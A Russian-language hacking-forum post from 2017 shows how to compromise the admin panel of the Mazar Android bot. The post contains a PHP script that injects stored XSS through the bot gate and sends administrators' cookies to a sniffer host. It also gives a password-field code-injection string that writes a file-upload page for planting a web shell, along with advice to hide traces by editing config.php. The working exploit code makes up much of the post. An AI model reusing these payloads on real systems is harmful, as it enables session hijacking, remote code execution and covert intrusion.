Авторизация  
TEXHO

Mazar — android bot [2017]

В теме 1 сообщение

b-xiuc2wQaCVlwpVu8B8zg.png

 

Здравствуйте, ребятишки! Сегодня я расскажу, как взломать можно было взломать админку андроид-бота Mazar.

 

Итак. Я получил инструкцию по установке и архив с админкой.

 

7j418pNAR_mnp8_FO8RKEw.png

 

Установка достаточно хитрая, я бы даже сказал замороченная, но я справился. Я смог. Я дым, туман и копоть серого города.

 

Делай раз. XSS.

 

Для начала я пошел максимально простым путем - добавлял через phpmyadmin во все текстовые поля в базе данных такую конструкцию:

 

<script>alert(document.cookie)</script>
И проверяем:

 

DzkPwHNoR2qfwjy6aWO8Ww.png

 

Отлично, теперь попробуем добиться тех же результатов, но уже как полагается - через гейт для ботов. Какая либо фильтрация текстовых полей напрочь отсутствовала и поэтому, спустя весьма непродолжительное время был написан скрипт, который добавляет активную XSS в админку:

 

Code:
<?php$url = "http://mazarbot.loc";$postData = "{"type":"reg","model":"1","imei":"1","operator":"<script>var img=new Image();img.src="http://sniffer/xss.jpg?"+ encodeURI(document.cookie);</script>","os":"14838","apps":"3","install id":"2","phone":"3"}"; $req = curl_init($url."/?action=command");curl_setopt($req, CURLOPT_RETURNTRANSFER, true);curl_setopt($req, CURLOPT_POSTFIELDS, $postData);curl_setopt($req, CURLOPT_HTTPHEADER, array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests: 1","User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0","Connection: keep-alive","Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding: gzip, deflate"));$result = curl_exec($req); echo "Done!"; curl_close($req);
Куки без флага httponly и поэтому благополучно улетают на веб-сниффер. Подставляем печенеги себе и вот мы уже в админке...

 

Делай два. Upload shell.

 

Теперь мы попробуем залить шелл. Посмотрим код файла Application/Controller/IndexController.php, а именно строки 703-708:

 

Code:
if(isset($_POST["save_settings"])) {   $data = file_get_contents (FRAMEWORK_DIR.'/config/config.inc.php');   $data = str_replace("ADMIN_PASSWORD", $_POST["password"], $data);   file_put_contents(FRAMEWORK_DIR.'/config.php', $data);   $this->redirect('/index.php?action=settings');}
Как мы видим, идет запись в файл config.php, а в параметре password не экранируются кавычки. Мы можем легко вставить любой свой код и он будет исполнен. Берем вот такую хитрейшую строку:

 

admin123','eval'=> eval('file_put_contents("./public_admin/upload.php","<form method=post enctype=multipart/form-data><input type=file name=file><input type=submit></form><?php if(is_uploaded_file($_FILES[file][tmp_name])) move_uploaded_file($_FILES[file][tmp_name], $_FILES[file][name]);?>");')];$arr = ['a'=>'b
И указываем в виде нового пароля:

 

3diMoarYTqmPWOyD6DJ3Vw.png

 

Сразу после того, как мы сохраним наш "пароль" нас выкинет из админки, но зато в корне будет лежать upload.php через который мы можем залить шелл:

 

K6jGvhwTRxeG5xNjI1jA-Q.png

 

Следующим шагом надо подняться на папку выше и отредактировать файл config.php, чтобы никто ничего не заметил.

Вот и всё. Легко и просто.

 

UPDATE. На данный момент актуальная версия - 3.1.5. Софт пропатчен.

 

(К слову, я нашел еще несколько уязвимостей, типа CSRF и кривой LFI, но они не представляли большой угрозы).

 

© r00t

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
Авторизация